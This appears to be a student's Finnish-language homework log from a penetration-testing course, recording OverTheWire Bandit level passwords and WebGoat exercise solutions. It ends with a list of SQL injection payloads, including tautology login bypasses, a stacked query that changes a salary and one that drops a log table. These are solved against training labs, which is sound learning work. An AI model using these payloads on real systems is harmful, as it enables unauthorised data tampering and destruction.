Tero Karvisen "Tunkeutumistestaus" Kurssi (Syksy 2021)
Lähteenä käytetty: Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains
Kuuntelin tämän podcastin kaikki jaksot aikoinaan ja seuraan sitä myös aktiivisesti koko ajan. Hakkeroinnista minulle on jäänyt mieleen seuraavat pointit:
Asensin Kali Linuxin VirtualBoxiin
Level 0: evgeni$ ssh -p 2220 bandit0@bandit.labs.overthewire.org Level 1: bandit0@bandit:~$ cat readme boJ9jbbUNNfktd78OOpsqOltutMc3MY1 Level 2: bandit1@bandit:~$ cat ./- CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9 Level 3: bandit2@bandit:~$ cat spaces\ in\ this\ filename UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK Level 4: bandit3@bandit:~$ cd inhere/ bandit3@bandit:~/inhere$ ls -la total 12 drwxr-xr-x 2 root root 4096 May 7 2020 . drwxr-xr-x 3 root root 4096 May 7 2020 .. -rw-r----- 1 bandit4 bandit3 33 May 7 2020 .hidden bandit3@bandit:~/inhere$ cat .hidden pIwrPrtPN36QITSp3EQaw936yaFoFgAB
Asensin WebGoatin ja käynistin sen Dockerin kautta. Loin paikallisen webgoat -käyttäjän.
POST ja minun tapauksessa magic number oli "32".
WebGoatin esimerkissä oli käytetty Google Chromen devtoolseja, mutta Mozillan vastaava ajaa asiansa yhtä hyvin. Ensimmäisessä osiossa console:n kautta piti kutsua JavaScript funktio webgoat.customjs.phoneHome(), jonka jälkeen Network -välilehdestä huomasin POST -requestin ja JSON vastauksen jossa oli "output: phoneHome Response is 338125". Kokeilin syöttää numeron kenttään ja tehtävä on suoritettu onnistuneesti.
Seuraava kohdassa piti saada talteen networkNum, joka oli minun tapauksessa "59.20672052798035". Tehtävä suoritettu onnistuneesti.
2: select department from employees where first_name = 'Bob' and last_name = 'Franco'; 3: update employees set department='Sales' where first_name='Tobi' and last_name='Barnett'; 4: alter table employees add phone varchar(20); 5: grant all on grant_rights to unauthorized_user; 9: Smith' or '1'='1 10: SELECT * From user_data WHERE Login_Count = 3 and userid= 0 or 1=1 11: Foo' or '1'='1 | Bar' or '1' = '1 12: Employee: Smith, TAN: 3SL99A'; update employees salary=100000 where first_name='John' and last_name='Smith';-- 13: sel%';drop table access_log;--